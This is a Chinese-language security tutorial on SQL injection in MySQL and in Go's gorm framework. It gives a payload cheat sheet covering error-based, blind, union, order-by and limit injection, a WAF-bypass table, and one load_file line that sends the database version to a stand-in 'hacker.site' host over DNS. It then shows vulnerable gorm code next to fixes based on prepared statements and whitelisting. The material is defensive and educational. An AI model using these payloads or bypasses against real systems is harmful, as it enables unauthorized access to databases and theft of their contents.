一、SQL注入漏洞概述

1.1 SQL漏洞简介

SQL注入主要是Web应用未对用户输入进行合法校验，导致攻击者能在Web应用预先写好的SQL语句中添加额外的SQL语句，造成非授权的SQL语句执行，从而导致数据库信息泄露，有时甚至可以执行系统命令。

1.2 SQL注入语句

1.2.1 MySQL查询语句

- 查询库名

```
select database()

select schema_name from information_schema.schemata limit 0,1
```

- 查询表名

```
# 表数量
select count(table_name) from information_schema.tables where
table_schema=database()

# 第一个表名
select table_name from information_schema.tables where table_schema=database()
limit 0,1

# 所有表名
select make_set(3,'-',(select group_concat(table_name) from
information_schema.tables where table_schema=database()),1)

and exists(select * from users)-- -
```

- 查询字段名

```
# 字段数量
select count(column_name) from information_schema.columns where
table_schema=database() and table_name=表名

# 第一个字段名
select column_name from information_schema.columns where table_schema=database()
and table_name=表名 limit 0,1

# 所有字段名
select make_set(3,'-',(select group_concat(column_name) from
information_schema.columns where table_name="users"),1)

or (flag)

and exists(select username from users)-- -
```

- 查询数据

```
1' and length(database())=7-- -
1' and substr(database(),1,1)>'a'-- -
1' and substring(database(),1,1),mid(database(),1,1)-- -
1' and left(database(),1)>'a'-- -
1' and right(database(),1)>'a'-- -
1' and ascii(substr(database(),1,1))>91-- -
limit 1 offset n
mid(passwd from 1 for 1)
mid('abc',1,1)
or username  REGEXP "^admin"
locate('abcd',abc)
```

1.2.2 MySQL注入位置

- where注入

```
' or extractvalue(rand(),version()) or '

' or updatexml(rand(),version(),0) or '

' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)
or '

1' union select 1,2,3…n

1' into @t1,@t2,@t3…n
```

- update/insert注入

```
test'\|conv(hex(version()), 16, 10)\|'a'
load_file(concat('\\\\',version(),'.hacker.site\\txt'))\|'b

'+sqrt(1)+'
'+sqrt(ascii(user)-100)+'
```

- Order by注入

```
1' order by n

order by if(1=1,id,1)
order by id rlike case when 1=1 then 1 else char(40) end
order by \|((select flag from level1_flag)regexp '^字符串')%2b1

order by extractvalue(rand(),version())
order by updatexml(rand(),version(),0)
order by (SELECT * FROM
(SELECT(name_const(version(),1)),name_const(version(),1))a)
```

- 表名

```
 where extractvalue(rand(),version())
 where updatexml(rand(),version(),0)
 where (SELECT * FROM
(SELECT(name_const(version(),1)),name_const(version(),1))a)
```

- 列名

```
if(1=1,user_name,1)

extractvalue(rand(),version())
updatexml(rand(),version(),0)
(SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)
```

- in注入

```
if(1=1,115,1)

extractvalue(rand(),version())
updatexml(rand(),version(),0)
(SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)
```

- limit 注入

```
limit 2,1 procedure analyse((extractvalue(rand(),(select 1234567890))),1);—/**/-
  # (5.0.0<mysql<5.6.6)

limit 2,1 procedure analyse((select extractvalue(rand(),concat(0x3a,
(IF(MID(version(),1,1) LIKE 5,BENCHMARK(5000000,SHA1(1)),1))))),1);-- -
```

二、SQL注入漏洞代码审计

2.1 gorm框架注入

2.1.1 gorm框架简介

为防止SQL注入，gorm框架对大部分场景都进行了预编译处理，由于框架本身的局限，基于gorm的Web应用还是存在大量的SQL注入问题。

2.1.2 gorm框架审计

2.1.2.1 where

- 问题代码

```
db.where("id = '" + id +"'")
```

```
sql = fmt.Sprintf("id = '%s'", id)
db.Where(sql)
```

- 解决方案

```
db.where("id = ?",id)
```

2.1.2.2 map的key

- 问题代码

```
# GORM框架对key值未做预编译，存在注入
m := map[string]interface{} {
    key: "1",
    "name": "zhangsan"
}
db.Where(m)
```

- 解决方案

```
# GORM框架对id值进行预编译，不存在注入
m := map[string]interface{} {
    "id": id,
    "name": "zhangsan"
}
db.Where(m)
```

2.1.2.3 Raw/Exec

- 问题代码

```
sql := fmt.Sprintf("select id, %s.age from users where name = %s order by 1
desc", req.u, req.name)
db.Raw(sql)
```

```
sql := fmt.Sprintf("select id, %s.age from users where name = %s order by 1
desc", req.u, req.name)
db.Exec(sql)
```

2.1.2.4 order by/gourp by

- 问题代码

```
db.Order(req.loc)
```

- 解决方案

```
validateCols := map[string]bool{"col1": true, "col2":true}

if _, ok := validateCols[req.loc]; !ok {
    fmt.Println("列名不合法")
    return
}
db.Order(req.loc)
```

2.1.2.5 like/in

- 问题代码

```
cond := "music like %"+req.music+"%"
db.Where(cond)
```

```
cond := "name in (" + req.name1 + req.name2 + ")"
db.Where(cond)
```

- 解决方案

```
db.Where("musick like %?%", req.music)
```

```
db.Where("name in (?)", []string{req.name1, req.name2})
```

2.2 Bypass技巧

关键词	替换词
and、or、xor、<>	&、||、^、!=
空格	%0a 、 %0d 、%20 、/**/ 、 /*!test*/、 /*/*!test*/*/ 、select(id)from(sys_role)
information_schema.tables	information_schema . tables、information_schema. (partitions)
sleep(5)	BENCHMARK(30000000,md5(1)) BENCHMARK(30000000* (ascii(mid(lower(user()),1,1))=98),md5(1))
union select	1e12union(select~1,2)

三、SQL注入漏洞修复

3.1 预编译并绑定变量

Web后台系统应默认使用预编译绑定变量的形式创建sql语句，保持查询语句和数据相分离，以从本质上避免SQL注入风险。

3.2 白名单过滤

对于表名、列名等无法进行预编译的场景，比如外部数据拼接到order by, group by语句中，需通过白名单的形式对数据进行校验，例如判断传入列名是否存在、升降序仅允许输入"ASC"和"DESC"、表明列名仅允许输入字符、数字、下划线等。